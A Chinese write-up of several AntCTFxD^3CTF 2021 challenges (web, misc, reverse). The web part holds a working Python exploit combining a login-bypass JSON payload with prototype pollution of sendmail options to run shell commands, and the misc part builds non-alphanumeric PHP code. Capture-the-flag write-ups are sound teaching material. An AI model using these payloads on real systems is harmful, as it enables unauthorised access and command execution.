|
原文链接:AntCTFxD^3CTF2021 部分WriteUp
AntCTFxD^3CTF
Web
★8-bit pub
一般代码审计
登陆绕过,组一下就可以{"username":"admin","password":{"password":true}}
登陆后就是邮箱,sendmail可以任意读,args可以命令执行,思路就是直接把命令执行readflag结果导入tmp/flag然后读就行了
exp:
- <pre><code># coding:utf-8</code><code>import requests</code>
- <code>url = 'http://9267351e50.8bit-pub.d3ctf.io/'</code><code>sess = requests.session()</code><code>headers = {</code><code> 'Content-Type': 'application/json'</code><code>}</code><code>class flag:</code><code> def login_admin():</code><code> data = '{"username":"admin","password":{"password":true}}'</code><code> res = sess.post(url + 'user/signin', data=data, headers=headers)</code><code> print(res.text)</code>
- <code> def readflag():</code><code> data = '{"to":"1783671926@qq.com","subject":"snowywar","text":"xxxx","constructor.prototype.path":"sh","constructor.prototype.sendmail":true,"constructor.prototype.args":["-c","/readflag>/tmp/flag"]}'</code><code> res = sess.post(url+'admin/email',data=data,headers=headers)</code><code> print(res.text)</code>
- <code>if __name__ == '__main__':</code><code> flag.login_admin()</code><code> flag.readflag()</code></pre><p>
- </p><p><span tabindex="-1" data-cke-widget-wrapper="1" data-cke-filter="off" class="cke_widget_wrapper cke_widget_inline cke_widget_image cke_image_nocaption cke_widget_selected" data-cke-display-name="图像" data-cke-widget-id="64" role="region" aria-label="图片 图像 小部件" style="" contenteditable="false"></span></p>
复制代码
Misc
★shellgen2
除了php标签外,只能使用0-9$_;+[].=<?>中的字符,需要输出任意指定的小写字符串。考虑使用<?=输出字符串,为了使生成的PHP脚本尽可能短,首先使用09_字符构建变量名储存生成的a-z字符。为了生成a-z,使用两个[]字符串拼接得到ArrayArray,然后取其中的a;再使用自加得到a-z。
最后的python脚本为:
- <code>input_a=input()</code><code>beg='''<?php $_=[].[];$_999=0;$_999++;$_999++;$_999++;$_=$_[$_999];$____=$_;'''</code><code>par='_09'</code><code>let_dic={}</code><code>for i in range(3):</code><code> for j in range(3):</code><code> for p in range(3):</code><code> let_dic[chr(97+p+j*3+i*3*3)]="$_"+par[i]+par[j]+par[p]</code><code>keys=list(let_dic.keys())</code>
- <code>let_dic[keys[i]]+'=$_;'</code><code>for i in range(25):</code><code> beg+='$_++;'+let_dic[keys[i+1]]+'=$_;'</code>
- <code>beg+='?><?='+let_dic[input_a[0]]</code>
- <code>for let in input_a[1:]:</code><code> beg+='.'+let_dic[let]</code>
- <code>beg+=';'</code><code>print(beg,end="")</code>
复制代码
★Virtual Love
麻了,一个非预期能修两次,麻了,每次都下载6个g内容,强奸我硬盘
参考文章:
【解密 】Vmware虚拟磁盘文件-电子物证-二十次幂 (ershicimi.com)
https://www.ershicimi.com/p/a85955bf672a9dc6e412ad70648870fd
首先它给了正常的iso,导入vm后可以发现是正常的centos7的系统
首先把他的centos7导入vm,然后查看他所生成的文件,
将centos7所生成的vmx以及vmsd直接替换至题目的文件
之后使用010进行修改s001-s006.vmdk的文件头
对照着修改,很容易发现规律。
最后修改vmx的内容,也一样对照着修改
随后便可以开机,给了内容说是guest,可以直接登录
取证一般套路就是直接history
看得出来需要去获取root权限
这里直接进编译模式了,网上一堆文章,丢个链接在这
centos7重置密码连接
CentOS7忘记root密码,重置root密码蝈蝈的博客-CSDN博客centos7重置root密码
- https://blog.csdn.net/gnail_oug/article/details/94721777
复制代码
重置后就可以看见文件了
04开头是解压密码,7@是目标文件,剩下就没啥了
计算md5:md5sum
★Robust
打开pcapng,首选项导入log,解密出http3数据流
右键追踪流QUIC流
发现是HIS传输,筛选所有http3包,在Decrypted QUIC处发现HLS数据
然后多个人开始手动复制粘贴成文件,根据HEADERS区分文件 (学弟学妹y(老)y(工)d(具)s(人))
接下来解HLS音频流,按照如下修改后使用ffmpeg进行合并,得到一个mp4文件。
ffmpeg -allowed_extensions ALL -i _music_index.m3u8 -c copy output.mp4
根据给出的hint链接找到如下工具:
https://github.com/quiet/quiet
使用quiet的ultrasonic模式解得一段base64编码,进而得到一个zip文件
lyric是网易云的网页接口:访问
http://music.163.com/api/song/ly ... &kv=1&tv=-1
得到一段json,存成txt大小与zip中相吻合,直接进行明文爆破
解压出txt一个,是0宽隐写,然而有一说一,做了字符集替换把我恶心导论
在线网页:
Unicode Steganography with Zero-Width Characters (330k.github.io)
http://330k.github.io/misc_tools/unicode_steganography.html
如下设置
解密后
相关文章:
https://support.f5.com/csp/article/K05822509
https://www.cellstream.com/refer ... nalyze-quic-traffic
https://blog.csdn.net/weixin_37035452/article/details/93763122
Reverse
★JumpjumpIda打开,shift+F12查看字符串:
跟进后来到关键函数,F5大法查看伪代码:
通过分析,有两个关键函数,sub_40189D()和sub_40191E(),第一个函数:
继续跟进:
for循环里的就是第一轮异或,后面的sub_408A80()函数经过动态调试发现为反调试手段,
只要不进入该函数,直接F9到下一个断点前即可继续运行程序。
第二个函数:
将第一轮异或后的值加4之后与0x33异或,再与dword_4CC100[]数组比较。
总的来说就是两轮异或(感觉就是一道签到题。。。)
脚本:
|
|